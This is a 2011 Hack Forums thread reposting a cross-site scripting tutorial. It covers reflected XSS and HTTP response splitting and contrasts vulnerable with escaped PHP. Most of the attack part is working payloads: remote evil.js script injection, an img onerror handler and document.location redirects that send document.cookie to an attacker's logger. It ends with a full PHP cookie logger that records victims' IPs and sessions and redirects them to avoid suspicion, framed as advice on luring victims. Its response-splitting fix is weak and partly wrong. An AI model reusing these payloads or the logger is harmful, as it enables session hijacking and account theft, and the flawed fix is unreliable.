

Forum:[Hack Forums](#)

Thread: [\[TUT\] Cross-Site Scripting \[TUT\]](#)

crow3b - February 6, 2011, 5:41 am

This tutorial is not made by me so i hope someone will have benefit from this Tutorial (and sorry for my poor English)

Part I. What is XSS (Cross-Site Scripting)?

XSS, short for what is known as Cross-Site Scripting is the process of injecting JavaScript (mainly) and also HTML into a webpage for important feedback. This feedback may contain many things; one, most commonly being the user's cookie. Now, for everybody reading this, I assume that you know what a cookie is and how it is used on webpage, but if not, I will explain it anyways.

A cookie is the variable that web-browsers use to store your login credentials. Without a cookie, you cannot "stay logged in" on your favorite websites. This is important because if somebody were to obtain your cookie, he/she could easily spoof your login information without any need of knowing your password. Some cookies are pretty basic, like the PHPSESSID, which is just your session on a PHP powered page. If the website only used the PHPSESSID cookie to authenticate its users, somebody can steal the cookie via an XSS vulnerability and spoof whoever's cookie the attacker possesses.

Part II. How does XSS affect the web today?

XSS is, in my opinion, the most common and dangerous exploit that exists on the internet today. It is dangerous because it is common (and useful), and it is common because it is most overlooked. Most WebPages today are user-interactive, which basically means that the website allows the user to interact with its content. Some of this interactivity may include search fields (most commonly), login forms, comment fields, feedback forms etc..

I would say that nearly 90% of the websites that are on the internet today suffer from XSS flaws. Even some of the more popular government sites suffer from XSS flaws. This shows lack of responsibility, lack of security, and most importantly being the lack of security. When internet warfare is at an all-time new, the governments and their domains cannot afford to be compromised so easily.

Part III. How important is XSS and its vulnerabilities?

The reason XSS is so important, is like I explained above. It is so common, that virtually any website that is user-interactive is vulnerable. The problem with this is that internet crime is also at an

all time high along with internet warfare. The importance of XSS flaws is greatly underestimated. Most websites today look past all the XSS flaws and see them as nothing too important to cleanse. The problem with this is the fact that any attacker with half a brain can compromise pretty much any website he/she wishes.

Part IV. Different types of XSS.

There are many ways to prove that XSS flaws exist, the most common (for me at least) are these 2:

- a) Basic XSS (user-form reflect back XSS).
- b) HTTP Response Splitting.

1. Basic XSS

a. This is something simple, like a search field that allows HTML input. When the user searches for something and the input is reflected on the following page, this may show signs of XSS possibilities. Now, when a user searches for something like `<h1>test</h1>`, if the page returned contains a large heading that reads "test", the field is vulnerable to HTML injection. If the user were to search for `<script>alert(1)</script>`, and the returning page contained an alert box that read "1", the field is also vulnerable to XSS Injection.

2. HTTP Response Splitting

a. This has something to do with the headers that your browser uses to communicate to the server with. If the webpage allows you to modify them via post or get vars, and reflects the information back, you can easily modify these headers to your needs in order to cross-site script the page. Most commonly, the header's that are XSS'able are the User-Agent: headers. Most pages don't sanitize the user agent when reflecting back the user's browser properties (most commonly on a 404 page.)

Part V. Finding XSS holes in websites.

The easiest way to find XSS holes in websites is manually. I'm sure you can write a script to do it for you, but that takes the fun out of it.

When searching for holes, you might want to check these fields:

- a) Search Field
- b) Comment Fields
- c) Feedback Forms
- d) Login Forms
- e) Error Pages

Those are just some of the common pages that contain XSS flaws in websites. Granted, some might be sanitized (although rare).

To see if they are vulnerable, I use simple syntax for both HTML and JavaScript. "`<h1>a</h1>`" and "`<script>alert(1)</script>`". I know if the following page has either a large heading that reads "a" or an alert box that says "1", the field is vulnerable.

If you're looking through PHP source code or any source code, and you see GET or POST vars that are un-sanitized, then you also know that they are vulnerable. Some examples of both Stripped and Un-stripped PHP:

Un-Stripped

Code <?php

/*

Un-Stripped PHP

*/

```
$var = $_GET['var'];
```

```
echo $var;
```

```
//Vulnerable
```

```
$var1 = $_POST['var1'];
```

```
echo $var1;
```

```
//Vulnerable
```

```
echo $_SERVER['HTTP_USER_AGENT'];
```

```
//Vulnerable
```

```
?>
```

Stripped

Code <?php

/*

Stripped PHP

*/

```
$var = strip_tags($_GET['var']);
```

```
echo $var;
```

```
//Not Vulnerable
```

```
$var1 = htmlentities($_POST['var1']);
```

```
echo $var1;
```

```
//Not Vulnerable
```

```
echo htmlspecialchars($_SERVER['HTTP_USER_AGENT']);
```

```
//Not Vulnerable
```

```
?>
```

Part VI. XSS Explained.

Here is where I will discuss some different syntaxes of XSS and how to steal cookies. I will also explain the idea of how the XSS syntaxes work.

a)

Code <script src=http://site.com/evil.js>

This works because when a website allows JavaScript to be executed, you can have a pre-made JavaScript file type on a remote server and the `<script src="">` tag will read from it and execute it on the page.

b)

Code `"/></><script src=http://site.com/evil.js>`

This is what I mostly use to escape fields on the website. Let's say that I search for "test", and the next page has the word "test" in the search field again, I will try to escape it with this code.

c)

Code `<img src=xss.png
onerror="document.location='http://site.com/log.php?cookie="'+document.cookie>`

This script will try to include a fake image named "xss.png" and will automatically error. On the error, it will execute the JavaScript to redirect to a logger and log the victim's cookie.

d)

Code `<script>document.location="http://sitea.com/log.php?c="+document.cookie+"&redirect=http://siteb.com";</script>`

This is the most basic JavaScript for a cookie stealing attempt. This is what would most likely be placed inside one of the many .js files being retrieved by a remote server.

This script will redirect the webpage to

Code `http://sitea.com/log.php?c=[THEIR COOKIE]&redirect=http://siteb.com`

The GET variable c contains the user's cookie from the following page. The redirect part is just another GET var that will redirect them away from the logger, to another website, so that they do not notice anything TOO strange. The best way to avoid suspicion is to redirect them to the same site, just a different page.

Breakdown of the JavaScript if you didn't already know it:

`document.location=""`; or `document.location()`; is a function in JavaScript that changes the document (webpage)'s

`location`. `document.cookie` is JavaScript's way of storing cookie information on a website. Mostly everything can be called from `document.*` whatever.

After that, all that is pretty much left to do is send a link containing the URL with the XSS vulnerability in it to your victim and let he/she click it, while you wait for your cookies.

Part VII. HTTP Response Splitting - HRS

HRS, although not a common practice amongst the hacking community, is rather taboo, yet one of the more popular and holds the most dangerous capabilities of Cross-Site Scripting. With it, you can modify or create your own headers to do any of the following: Redirect, Spoof Request Data (POST or GET), Spoof UserAgent, Spoof Referrer, Change your IP, change the information on a webpage, replace a webpage with only specified text. You can even use it to brute force a website. Although you'd need to create a script to loop the request Var yourself.

An example of an HRS vulnerable script would be the following:

Code <? header("Location: ".\$_GET['url']);?>

This is what is most commonly exploited in HRS. The location. Most sites (ones who want hits and popularity), would rather have links go to other pages with their site into the referrer. Mostly for popularity, hits, advertising etc..

The worst part about this script is the fact that it is un-sanitized. You can easily modify the header to do whatever you want. An easy way to check if it is vulnerable is by placing this in the ?url= variable.

%0AContent-Type: text/html%0AContent-Length: 13%0A%0AKr3w was here

The %0A is the hex value for \n or a new line escape character. This will replace all the text on the webpage with "Kr3w was here".

The possibilities with what a hacker can do with this are seemingly endless. A way to fix this is by simply replacing all % characters in the header.

Code <?php

```
$loc = $_GET['url'];
$loc = str_ireplace("%", "", $loc);
$loc = str_ireplace("\n", "", $loc);
$loc = str_ireplace("\n", "", $loc);
header("Location: ".$loc);
?>
```

Scripts and Syntax for the Log.php and Evil.js:

-Evil.js

Code

```
document.location="http://yoursite.com/logger.php?cookie="+document.cookie+"&redirect=http://thei
rsite.com/diff_page.php";
```

-Log.php

Code <?php

```
/*
** Kr3w's Cookie Logger
** www.thedefaced.org
*/

$ip = $_SERVER['REMOTE_ADDR'];
$cookie = $_GET['cookie'];
$referer = $_SERVER['HTTP_REFERER'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$redirect = $_GET['redirect'];
```

```
$data = "IP: " . $ip . "\n"
."Cookie: " . $cookie . "\n"
."Referrer: " . $referer . "\n"
."Browser: " . $browser . "\n\n";
```

```
$log = "cookies.txt";
@chmod($log, 0777);
```

```
$f = fopen($log, 'a');
```

```
fwrite($f, $data);  
fclose($f);
```

```
@header("Location: $redirect");
```

```
?>
```

```
CREDIT GOES TO : Kr3w
```